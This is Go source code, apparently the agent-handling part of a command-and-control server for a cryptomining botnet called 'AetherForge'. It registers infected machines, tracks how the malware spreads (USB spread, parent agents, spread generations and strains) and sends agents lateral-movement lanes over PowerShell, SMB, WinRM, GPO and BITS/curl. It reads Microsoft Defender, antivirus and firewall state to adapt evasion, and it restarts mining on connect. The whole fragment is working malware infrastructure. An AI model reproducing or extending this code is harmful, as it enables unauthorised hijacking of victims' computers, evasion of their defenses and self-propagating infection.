prior, priorErr := h.db.GetAgent(agentID)
|
||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||
|
||
workerName := auth.WorkerName
|
||
if workerName == "" {
|
||
workerName = auth.Worker
|
||
}
|
||
|
||
agent := &models.Agent{
|
||
ID: agentID,
|
||
Name: displayName,
|
||
Wallet: auth.Wallet,
|
||
IP: clientIP,
|
||
Version: auth.Version,
|
||
Status: "online",
|
||
CPUCores: auth.CPUCores,
|
||
MemoryGB: auth.MemoryGB,
|
||
LastSeen: time.Now(),
|
||
Platform: auth.Platform,
|
||
Arch: auth.Arch,
|
||
OSVersion: auth.OSVersion,
|
||
Hostname: auth.Hostname,
|
||
MacAddress: auth.MacAddress,
|
||
BuildID: auth.BuildID,
|
||
WorkerName: workerName,
|
||
USBSpread: auth.USBSpread,
|
||
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
||
JoinLane: strings.TrimSpace(auth.JoinLane),
|
||
ParentAgentID: strings.TrimSpace(auth.ParentAgentID),
|
||
SpreadGeneration: auth.SpreadGeneration,
|
||
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
|
||
Capabilities: &caps,
|
||
}
|
||
|
||
if err := h.db.UpsertAgent(agent); err != nil {
|
||
log.Printf("Failed to upsert agent: %v", err)
|
||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||
"success": false, "error": "database error",
|
||
})})
|
||
break
|
||
}
|
||
h.markSubnetDiscoveryAgentOnline(clientIP)
|
||
|
||
if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
|
||
_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
|
||
}
|
||
|
||
if policy.LogAgentConnections {
|
||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||
}
|
||
|
||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||
// two concurrent new agents could both pass the count check under RLock, then
|
||
// both get registered, overshooting the limit.
|
||
h.mu.Lock()
|
||
_, alreadyConnected := h.agents[agentID]
|
||
if policy.MaxAgents > 0 {
|
||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||
h.mu.Unlock()
|
||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||
"success": false, "error": "fleet agent limit reached",
|
||
})})
|
||
break
|
||
}
|
||
}
|
||
// startPing tracks whether a new ping goroutine is needed.
|
||
// If the same connection is re-authing (rare but possible), the existing
|
||
// ping loop is still healthy — starting a second one would create two
|
||
// concurrent writers racing on conn.WriteControl.
|
||
startPing := !alreadyConnected
|
||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||
oldConn := old.Conn
|
||
h.mu.Unlock()
|
||
oldConn.Close()
|
||
h.mu.Lock()
|
||
startPing = true // fresh connection after displacing old one
|
||
}
|
||
domainJoined := prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain
|
||
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
||
h.agents[agentID] = ac
|
||
h.agentSubnet[agentID] = strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined).Subnet
|
||
h.mu.Unlock()
|
||
|
||
h.FlushBeaconPoliciesToWS(agentID)
|
||
h.FlushBeaconCommandsToWS(agentID)
|
||
h.ClearBeaconTransport(agentID)
|
||
|
||
// Only start a ping loop for genuinely new connections.
|
||
if startPing {
|
||
go h.runPingLoopAgent(ac)
|
||
}
|
||
|
||
_ = ac.SendJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} {
|
||
resp := map[string]interface{}{
|
||
"success": true,
|
||
"agent_id": agentID,
|
||
}
|
||
if auth.LotlPolicyFromServer {
|
||
tiers := policy.LotlOnionTiers
|
||
if len(tiers) == 0 {
|
||
tiers = []string{
|
||
"vuln_recon",
|
||
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||
"smb", "winrm", "linux", "gpo",
|
||
}
|
||
}
|
||
resp["lotl_onion_tiers"] = tiers
|
||
}
|
||
mp := policy.MiningTierPolicy
|
||
if len(mp.TierOrder) == 0 {
|
||
mp.TierOrder = []string{
|
||
"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
|
||
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
|
||
}
|
||
}
|
||
top := policy.TripleOnionPolicy
|
||
if auth.SimpleDeploy || top.SimpleDeploy {
|
||
top = TripleOnionPolicy{
|
||
SimpleDeploy: true,
|
||
PatchFirst: false,
|
||
SkipMiningOnHighRisk: false,
|
||
HighRiskThreshold: 100,
|
||
}
|
||
mp.ForceTier = "cpu_inprocess"
|
||
} else if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
|
||
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
|
||
top.PatchFirst = true
|
||
top.HighRiskThreshold = 50
|
||
top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"}
|
||
top.DeployLanes = []string{
|
||
"discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm",
|
||
}
|
||
}
|
||
resp["triple_onion_policy"] = top
|
||
resp["mining_tier_policy"] = mp
|
||
spreadPolicy := map[string]interface{}{}
|
||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
||
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
||
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||
if policy.HashrateGateSpreadMin > 0 {
|
||
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
|
||
}
|
||
if policy.HashrateGateHPS > 0 {
|
||
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
||
}
|
||
}
|
||
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
|
||
for k, v := range scoutPolicy {
|
||
spreadPolicy[k] = v
|
||
}
|
||
}
|
||
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
|
||
for k, v := range fanout {
|
||
spreadPolicy[k] = v
|
||
}
|
||
}
|
||
h.attachSubnetReconPolicy(resp, spreadPolicy, clientIP)
|
||
if len(spreadPolicy) > 0 {
|
||
resp["spread_policy"] = spreadPolicy
|
||
}
|
||
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
|
||
resp["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||
var inherited *strategy.InheritedPhenotype
|
||
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
||
pheno := strategy.PhenotypeFromStored(*stored)
|
||
inh := pheno.ToInherited()
|
||
inherited = &inh
|
||
} else if h.breedingRegistry != nil {
|
||
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
|
||
inh := bred.ToInherited()
|
||
inherited = &inh
|
||
}
|
||
}
|
||
if inherited != nil {
|
||
inh := *inherited
|
||
h.mu.Lock()
|
||
h.agentInheritedPhenotype[agentID] = inh
|
||
h.mu.Unlock()
|
||
resp["inherited_phenotype"] = inh
|
||
agent.InheritedPhenotype = &models.AgentInheritedPhenotype{
|
||
SourceAgentName: inh.SourceAgentName,
|
||
Fingerprint: inh.Fingerprint,
|
||
SpreadLane: inh.SpreadLane,
|
||
TierOrder: append([]string(nil), inh.TierOrder...),
|
||
ActiveTier: inh.ActiveTier,
|
||
PeakHashrate: inh.PeakHashrate,
|
||
}
|
||
}
|
||
var defenderEnabled, defenderRTP *bool
|
||
if prior != nil {
|
||
defenderEnabled = prior.DefenderEnabled
|
||
defenderRTP = prior.DefenderRTP
|
||
}
|
||
if h.failureAtlas != nil && !policy.AIControlEnabled {
|
||
skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP)
|
||
if len(skips) > 0 {
|
||
resp["atlas_skips"] = skips
|
||
}
|
||
}
|
||
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled && inherited == nil {
|
||
adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
|
||
if h.failureAtlas != nil {
|
||
if skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
|
||
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
|
||
}
|
||
}
|
||
resp["adaptive_strategy"] = adaptive
|
||
}
|
||
if policy.AIControlEnabled {
|
||
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
|
||
}
|
||
if graft, ok := h.GraftPolicyForAgent(agentID); ok {
|
||
resp["graft_policy"] = graft
|
||
agent.GraftSourceStrain = graft.GraftSourceStrain
|
||
agent.GraftTier = graft.GraftTier
|
||
}
|
||
if h.clearance != nil {
|
||
level := h.clearance.InitAgent(agentID, agent)
|
||
resp["clearance_level"] = level
|
||
agent.ClearanceLevel = level
|
||
}
|
||
bakedRole := normalizeFleetRole(auth.FleetRole)
|
||
if auth.SeederMode {
|
||
bakedRole = "seeder"
|
||
}
|
||
h.storeAgentFleetRole(agentID, bakedRole)
|
||
if policy.FleetRolesEnabled {
|
||
seederCapable := auth.SeederMode || bakedRole == "seeder"
|
||
hint := h.fleetRoleHintForAuth(agentID, bakedRole, clientIP, seederCapable)
|
||
if hint != "" {
|
||
resp["fleet_role_hint"] = hint
|
||
h.storeAgentFleetRole(agentID, hint)
|
||
}
|
||
if hint != "seeder" {
|
||
if seeders := h.lanSeedersForMiner(clientIP); len(seeders) > 0 {
|
||
resp["lan_seeders"] = seeders
|
||
}
|
||
}
|
||
if policy.FleetTorrentEnabled && hint == "seeder" {
|
||
if primary := h.subnetPrimarySeederHint(agentID, clientIP, hint); primary != "" {
|
||
resp["subnet_primary_seeder"] = primary
|
||
}
|
||
}
|
||
}
|
||
h.attachEpidemiologyFix(resp, agentID)
|
||
h.attachMiningSelfSurgery(resp, agentID)
|
||
h.attachContingencyPolicy(resp)
|
||
return resp
|
||
}())})
|
||
|
||
// Auto-start mining: ensure the agent isn't stuck in a paused
|
||
// state from a previous session. The agent's in-memory pause flag
|
||
// resets on each restart, but sending resume is a cheap no-op and
|
||
// guarantees hashing begins as soon as a job arrives.
|
||
if h.agentPoolConfig(agentID).Wallet != "" {
|
||
_ = h.writeAgentJSON(agentID, Message{
|
||
Type: "command",
|
||
Payload: mustMarshal(map[string]interface{}{"action": "resume"}),
|
||
})
|
||
}
|
||
|
||
// Enrich agent with hostname before broadcasting so the dashboard
|
||
// immediately shows the correct machine-specific display name.
|
||
agent.Hostname = auth.Hostname
|
||
|
||
h.broadcastDashboard(Message{
|
||
Type: "agent_online",
|
||
Payload: mustMarshal(agent),
|
||
})
|
||
|
||
if h.eventNotifier != nil {
|
||
platform := auth.Platform
|
||
if platform == "" {
|
||
platform = "unknown"
|
||
}
|
||
if isNewAgent {
|
||
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
|
||
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
|
||
} else if alreadyConnected {
|
||
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||
displayName+" took over an active session ("+clientIP+")")
|
||
} else if prior != nil && prior.Status != "online" {
|
||
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||
displayName+" is back online ("+platform+" · "+clientIP+")")
|
||
}
|
||
}
|
||
|
||
h.mu.RLock()
|
||
runner := h.connectTasks
|
||
h.mu.RUnlock()
|
||
if runner != nil {
|
||
if isNewAgent {
|
||
go runner.RunConnectTasks(agentID, "on_connect")
|
||
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
|
||
go runner.RunConnectTasks(agentID, "on_reconnect")
|
||
}
|
||
}
|
||
|
||
case "stats":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var stats struct {
|
||
Hashrate15s float64 `json:"hashrate_15s"`
|
||
Hashrate1m float64 `json:"hashrate_1m"`
|
||
Hashrate15m float64 `json:"hashrate_15m"`
|
||
SharesSubmitted int `json:"shares_submitted"`
|
||
SharesAccepted int `json:"shares_accepted"`
|
||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||
UptimeSeconds int `json:"uptime_seconds"`
|
||
// Listen ports
|
||
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
||
// DNS config (T1016)
|
||
DNSServers []string `json:"dns_servers,omitempty"`
|
||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||
// Resource pressure
|
||
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
|
||
CPUTempC *int `json:"cpu_temp_c,omitempty"`
|
||
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
|
||
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
|
||
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||
// GPU / Ravencoin mining
|
||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||
GPUModel string `json:"gpu_model,omitempty"`
|
||
// SSH + posture
|
||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||
PostureScore *int `json:"posture_score,omitempty"`
|
||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
||
AVProducts []string `json:"av_products,omitempty"`
|
||
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
||
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
||
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
||
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
||
LastPatch *string `json:"last_patch,omitempty"`
|
||
PendingUpdates *int `json:"pending_updates,omitempty"`
|
||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
||
Services []struct {
|
||
Name string `json:"name"`
|
||
DisplayName string `json:"display_name,omitempty"`
|
||
Status string `json:"status"`
|
||
StartType string `json:"start_type"`
|
||
} `json:"services,omitempty"`
|
||
// Mining fallback cascade
|
||
ActiveMethod string `json:"active_method,omitempty"`
|
||
MiningLastError string `json:"last_error,omitempty"`
|
||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||
ChainOrder []string `json:"chain_order,omitempty"`
|
||
FailedMethods []struct {
|
||
Method string `json:"method"`
|
||
Reason string `json:"reason"`
|
||
At string `json:"at"`
|
||
} `json:"failed_methods,omitempty"`
|
||
// Fleet health mining telemetry (coalesced into stats_batch)
|
||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||
LOTLAttempts []struct {
|
||
Tier string `json:"tier"`
|
||
OK bool `json:"ok"`
|
||
Error string `json:"error,omitempty"`
|
||
DurationMs int64 `json:"duration_ms"`
|
||
Wallet string `json:"wallet,omitempty"`
|
||
} `json:"lotl_attempts,omitempty"`
|
||
AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
|
||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||
JoinLane string `json:"join_lane,omitempty"`
|
||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||
ContingencyDepth int `json:"contingency_depth,omitempty"`
|
||
FleetRole string `json:"fleet_role,omitempty"`
|
||
SeedPressure float64 `json:"seed_pressure,omitempty"`
|
||
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
|
||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||
VulnFindings []struct {
|
||
CVEID string `json:"cve_id"`
|
||
Severity string `json:"severity"`
|
||
Component string `json:"component"`
|
||
Patched bool `json:"patched"`
|
||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||
Detail string `json:"detail,omitempty"`
|
||
} `json:"vuln_findings,omitempty"`
|
||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||
}
|
||
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
|
||
continue
|
||
}
|
||
|
||
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
|
||
if sharesBad < 0 {
|
||
sharesBad = 0
|
||
}
|
||
|
||
h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
|
||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||
|
||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||
|
||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||
|
||
broadcast := map[string]interface{}{
|
||
"agent_id": agentID,
|
||
"hashrate_15s": stats.Hashrate15s,
|
||
"hashrate_1m": stats.Hashrate1m,
|
||
"hashrate_15m": stats.Hashrate15m,
|
||
"cpu_usage_pct": stats.CPUUsagePct,
|
||
"memory_usage_pct": stats.MemoryUsagePct,
|
||
"uptime_seconds": stats.UptimeSeconds,
|
||
"shares_submitted": stats.SharesSubmitted,
|
||
"shares_accepted": stats.SharesAccepted,
|
||
}
|
||
// Resource pressure fields
|
||
if stats.CPUFreqMHz != nil { broadcast["cpu_freq_mhz"] = *stats.CPUFreqMHz }
|
||
if stats.CPUMaxMHz != nil { broadcast["cpu_max_mhz"] = *stats.CPUMaxMHz }
|
||
if stats.CPUThrottle != nil { broadcast["cpu_throttle"] = *stats.CPUThrottle }
|
||
if stats.CPUTempC != nil { broadcast["cpu_temp_c"] = *stats.CPUTempC }
|
||
if stats.DiskFreeGB != nil { broadcast["disk_free_gb"] = *stats.DiskFreeGB }
|
||
if stats.DiskTotalGB != nil { broadcast["disk_total_gb"] = *stats.DiskTotalGB }
|
||
if stats.DiskFreePct != nil { broadcast["disk_free_pct"] = *stats.DiskFreePct }
|
||
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
||
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
||
|
||
// GPU / Ravencoin mining stats
|
||
if stats.GPUMinerActive != nil {
|
||
broadcast["gpu_miner_active"] = *stats.GPUMinerActive
|
||
}
|
||
if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s }
|
||
if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m }
|
||
if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m }
|
||
if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel }
|
||
|
||
// Listen port count
|
||
if stats.ListenPortCount != nil {
|
||
broadcast["listen_port_count"] = *stats.ListenPortCount
|
||
}
|
||
|
||
// T1016 DNS drift detection
|
||
if len(stats.DNSServers) > 0 {
|
||
broadcast["dns_servers"] = stats.DNSServers
|
||
if stats.DNSSearchDomains != nil {
|
||
broadcast["dns_search_domains"] = stats.DNSSearchDomains
|
||
}
|
||
h.mu.Lock()
|
||
prev, hasPrev := h.agentDNS[agentID]
|
||
drifted := hasPrev && !dnsEqual(prev, stats.DNSServers)
|
||
h.agentDNS[agentID] = stats.DNSServers
|
||
h.mu.Unlock()
|
||
if drifted {
|
||
broadcast["dns_drifted"] = true
|
||
log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers)
|
||
}
|
||
}
|
||
|
||
if stats.SSHAvailable != nil {
|
||
broadcast["ssh_available"] = *stats.SSHAvailable
|
||
}
|
||
if stats.PostureScore != nil {
|
||
broadcast["posture_score"] = *stats.PostureScore
|
||
}
|
||
if stats.DefenderEnabled != nil {
|
||
broadcast["defender_enabled"] = *stats.DefenderEnabled
|
||
}
|
||
if stats.DefenderRTP != nil {
|
||
broadcast["defender_rtp"] = *stats.DefenderRTP
|
||
}
|
||
if len(stats.AVProducts) > 0 {
|
||
broadcast["av_products"] = stats.AVProducts
|
||
}
|
||
if stats.FirewallDomain != nil {
|
||
broadcast["firewall_domain"] = *stats.FirewallDomain
|
||
}
|
||
if stats.FirewallPrivate != nil {
|
||
broadcast["firewall_private"] = *stats.FirewallPrivate
|
||
}
|
||
if stats.FirewallPublic != nil {
|
||
broadcast["firewall_public"] = *stats.FirewallPublic
|
||
}
|
||
if stats.LastPatchDays != nil {
|
||
broadcast["last_patch_days"] = *stats.LastPatchDays
|
||
}
|
||
if stats.LastPatch != nil {
|
||
broadcast["last_patch"] = *stats.LastPatch
|
||
}
|
||
if stats.PendingUpdates != nil {
|
||
broadcast["pending_updates"] = *stats.PendingUpdates
|
||
}
|
||
if stats.RebootPending != nil {
|
||
broadcast["reboot_pending"] = *stats.RebootPending
|
||
}
|
||
if stats.AgentElevated != nil {
|
||
broadcast["agent_elevated"] = *stats.AgentElevated
|
||
}
|
||
if len(stats.Services) > 0 {
|
||
broadcast["services"] = stats.Services
|
||
}
|
||
if stats.ActiveMethod != "" {
|
||
broadcast["active_method"] = stats.ActiveMethod
|
||
}
|
||
if stats.MiningLastError != "" {
|
||
broadcast["last_error"] = stats.MiningLastError
|
||
}
|
||
if stats.StratumOverlay {
|
||
broadcast["stratum_overlay"] = true
|
||
}
|
||
if stats.ChainExhausted {
|
||
broadcast["chain_exhausted"] = true
|
||
}
|
||
if len(stats.ChainOrder) > 0 {
|
||
broadcast["chain_order"] = stats.ChainOrder
|
||
}
|
||
if len(stats.FailedMethods) > 0 {
|
||
broadcast["failed_methods"] = stats.FailedMethods
|
||
}
|
||
if stats.MiningHashrate > 0 {
|
||
broadcast["mining_hashrate"] = stats.MiningHashrate
|
||
}
|
||
if stats.LOTLTier != "" {
|
||
broadcast["lotl_tier"] = stats.LOTLTier
|
||
}
|
||
if len(stats.LOTLAttempts) > 0 {
|
||
broadcast["lotl_attempts"] = stats.LOTLAttempts
|
||
}
|
||
if len(stats.AtlasSkips) > 0 {
|
||
broadcast["atlas_skips"] = stats.AtlasSkips
|
||
}
|
||
if stats.StratumEgress != "" {
|
||
broadcast["stratum_egress"] = stats.StratumEgress
|
||
}
|
||
if stats.JoinLane != "" {
|
||
broadcast["join_lane"] = stats.JoinLane
|
||
}
|
||
if stats.ParentAgentID != "" {
|
||
broadcast["parent_agent_id"] = stats.ParentAgentID
|
||
}
|
||
if stats.SpreadGeneration > 0 || stats.ParentAgentID != "" {
|
||
broadcast["spread_generation"] = stats.SpreadGeneration
|
||
}
|
||
if stats.SpreadStrain != "" {
|
||
broadcast["spread_strain"] = stats.SpreadStrain
|
||
}
|
||
if stats.ContingencyDepth > 0 {
|
||
broadcast["contingency_depth"] = stats.ContingencyDepth
|
||
}
|
||
if stats.FleetRole != "" {
|
||
broadcast["fleet_role"] = stats.FleetRole
|
||
}
|
||
if stats.SeedPressure > 0 {
|
||
broadcast["seed_pressure"] = stats.SeedPressure
|
||
}
|
||
if stats.HashratePressure > 0 {
|
||
broadcast["hashrate_pressure"] = stats.HashratePressure
|
||
}
|
||
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
|
||
var hints interface{}
|
||
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
|
||
broadcast["network_hints"] = hints
|
||
}
|
||
}
|
||
if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil {
|
||
findings := make([]vuln.Finding, len(stats.VulnFindings))
|
||
for i, f := range stats.VulnFindings {
|
||
findings[i] = vuln.Finding{
|
||
CVEID: f.CVEID, Severity: f.Severity, Component: f.Component,
|
||
Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext,
|
||
Detail: f.Detail,
|
||
}
|
||
}
|
||
fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable}
|
||
if stats.ListenPortCount != nil {
|
||
fctx.ListenPortCount = *stats.ListenPortCount
|
||
}
|
||
findings = vuln.EnrichFindings(findings, fctx)
|
||
score := vuln.RiskScore(findings)
|
||
if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score {
|
||
score = *stats.VulnRiskScore
|
||
}
|
||
broadcast["vuln_findings"] = findings
|
||
broadcast["vuln_risk_score"] = score
|
||
}
|
||
// Attach latest RTT latency from the ping loop.
|
||
if ac := h.getAgentConn(agentID); ac != nil {
|
||
ac.latencyMu.Lock()
|
||
if ac.LatencyMs != nil {
|
||
broadcast["latency_ms"] = *ac.LatencyMs
|
||
}
|
||
ac.latencyMu.Unlock()
|
||
}
|
||
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
|
||
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
|
||
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
|
||
h.ingestFleetPressure(agentID, broadcast)
|
||
epiStats := epidemiology.StatsInput{
|
||
FleetRole: stats.FleetRole,
|
||
ActiveMethod: stats.ActiveMethod,
|
||
MiningHashrate: stats.MiningHashrate,
|
||
Hashrate15m: stats.Hashrate15m,
|
||
GPUHashrate15m: stats.GPUHashrate15m,
|
||
ChainExhausted: stats.ChainExhausted,
|
||
MiningLastError: stats.MiningLastError,
|
||
LOTLTier: stats.LOTLTier,
|
||
JoinLane: stats.JoinLane,
|
||
ParentAgentID: stats.ParentAgentID,
|
||
SpreadGeneration: stats.SpreadGeneration,
|
||
SpreadStrain: stats.SpreadStrain,
|
||
}
|
||
if stats.GPUMinerActive != nil {
|
||
epiStats.GPUMinerActive = *stats.GPUMinerActive
|
||
}
|
||
for _, f := range stats.FailedMethods {
|
||
epiStats.FailedMethods = append(epiStats.FailedMethods, epidemiology.MethodFailure{
|
||
Method: f.Method,
|
||
Reason: f.Reason,
|
||
At: f.At,
|
||
})
|
||
}
|
||
for _, a := range stats.LOTLAttempts {
|
||
epiStats.LOTLAttempts = append(epiStats.LOTLAttempts, epidemiology.TierAttempt{
|
||
Tier: a.Tier,
|
||
OK: a.OK,
|
||
Error: a.Error,
|
||
})
|
||
}
|
||
h.observeEpidemiologyFromStats(agentID, epiStats)
|
||
h.observeMiningSelfSurgeryFromStats(agentID, epiStats)
|
||
h.queueStatsBroadcast(broadcast)
|
||
|
||
case "scout_report":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var report struct {
|
||
SSID string `json:"ssid"`
|
||
JoinLane string `json:"join_lane"`
|
||
ServiceCount int `json:"service_count"`
|
||
ScoutMode bool `json:"scout_mode"`
|
||
}
|
||
if err := json.Unmarshal(msg.Payload, &report); err != nil {
|
||
continue
|
||
}
|
||
if !report.ScoutMode {
|
||
continue
|
||
}
|
||
ag, _ := h.db.GetAgent(agentID)
|
||
platform, ip := "", ""
|
||
var firewallDomain *bool
|
||
if ag != nil {
|
||
platform = ag.Platform
|
||
ip = ag.IP
|
||
firewallDomain = ag.FirewallDomain
|
||
}
|
||
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
|
||
if strings.TrimSpace(report.SSID) != "" {
|
||
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
|
||
}
|
||
|
||
case "ai_snapshot":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var snap struct {
|
||
Stuck bool `json:"stuck"`
|
||
DeployTiers []struct {
|
||
Attempted bool `json:"attempted"`
|
||
OK bool `json:"ok"`
|
||
Skipped bool `json:"skipped"`
|
||
} `json:"deploy_tiers"`
|
||
MiningTiers []struct {
|
||
Attempted bool `json:"attempted"`
|
||
OK bool `json:"ok"`
|
||
Skipped bool `json:"skipped"`
|
||
} `json:"mining_tiers"`
|
||
ClearanceLevel int `json:"clearance_level"`
|
||
}
|
||
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
|
||
continue
|
||
}
|
||
failed := 0
|
||
for _, t := range append(snap.DeployTiers, snap.MiningTiers...) {
|
||
if t.Attempted && !t.OK && !t.Skipped {
|
||
failed++
|
||
}
|
||
}
|
||
h.cacheAgentTelemetry(agentID, map[string]interface{}{
|
||
"stuck": snap.Stuck,
|
||
"failed_tier_count": failed,
|
||
"clearance_level": snap.ClearanceLevel,
|
||
})
|
||
|
||
case "submit_share":
|
||
if agentID == "" {
|
||
continue
|
||
}
|
||
var share models.Share
|
||
if err := json.Unmarshal(msg.Payload, &share); err != nil {
|
||
continue
|
||
}
|
||
share.AgentID = agentID
|
||
share.Timestamp = time.Now()
|
||
share.Accepted = false
|
||
|
||
